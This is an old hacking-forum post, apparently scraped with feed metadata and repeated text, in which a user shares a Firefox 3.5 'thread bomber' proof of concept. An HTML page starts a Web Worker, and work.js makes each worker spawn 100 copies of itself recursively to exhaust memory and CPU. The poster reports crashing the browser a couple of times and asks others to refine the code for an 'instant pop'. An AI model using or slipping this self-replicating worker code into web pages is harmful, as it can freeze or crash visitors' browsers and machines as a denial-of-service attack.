Javascript threads (FF3.5) I'm rather astounded that nobody mentioned the javascript threading which can be achieved with Firefox 3.5... I've conducted an experiment to test the DoSness of them, but it's rather inconclusive. I've managed to crash Firefox in a couple of instances, only when executing other activities in parallel with the thread "bomber"... as mentioned it didn't always work... Of course the memory usage skyrockets, and the CPU is always in the 98% (90% after closing the tab with the PoC as well), but I can't seem to make Firefox execute a seppuku move at will. Maybe fellow slackers will have a go at it, and find a way to maximize the memory usage for an instant pop :). The code I've used: index.html <html> <head> <title>ninja-thread</title> </head> <body> <script type="text/javascript"> work = new Worker('work.js'); work.onmessage = function(event) { document.title=event.data; } work.postMessage(1); </script> </body> </html> work.js onmessage = function(event) { abc = []; for(i=0;i<100;i++) { abc = new Worker('work.js'); abc.onmessage = function(event) { postMessage(event.data); } abc.postMessage(event.data+1); } postMessage(event.data+1) } http://sla.ckers.org/forum/read.php?14,29201,29201#msg-29201 Sat, 25 May 2013 18:24:33 -0500 Phorum 5.2.15a http://sla.ckers.org/forum/read.php?14,29201,29251#msg-29251 Re: Javascript threads (FF3.5) http://sla.ckers.org/forum/read.php?14,29201,29251#msg-29251 flam DoS Mon, 13 Jul 2009 10:17:58 -0500 http://sla.ckers.org/forum/read.php?14,29201,29201#msg-29201 Javascript threads (FF3.5) http://sla.ckers.org/forum/read.php?14,29201,29201#msg-29201
I've conducted an experiment to test the DoSness of them, but it's rather inconclusive. I've managed to crash Firefox in a couple of instances, only when executing other activities in parallel with the thread "bomber"... as mentioned it didn't always work...

Of course the memory usage skyrockets, and the CPU is always in the 98% (90% after closing the tab with the PoC as well), but I can't seem to make Firefox execute a seppuku move at will.

Maybe fellow slackers will have a go at it, and find a way to maximize the memory usage for an instant pop :).

The code I've used:
index.html 
<html>
<head>
    <title>ninja-thread</title>
</head>
<body>
    <script type="text/javascript">
    work = new Worker('work.js');
    work.onmessage = function(event) {
        document.title=event.data;
    }
    work.postMessage(1);
    </script>
</body>
</html>

work.js 
onmessage = function(event) {
    abc = [];
    for(i=0;i<100;i++) {
        abc = new Worker('work.js');
        abc.onmessage = function(event) {
            postMessage(event.data);
        }
        abc.postMessage(event.data+1);
    }
    postMessage(event.data+1)
}
]]> backbone DoS Wed, 08 Jul 2009 15:04:00 -0500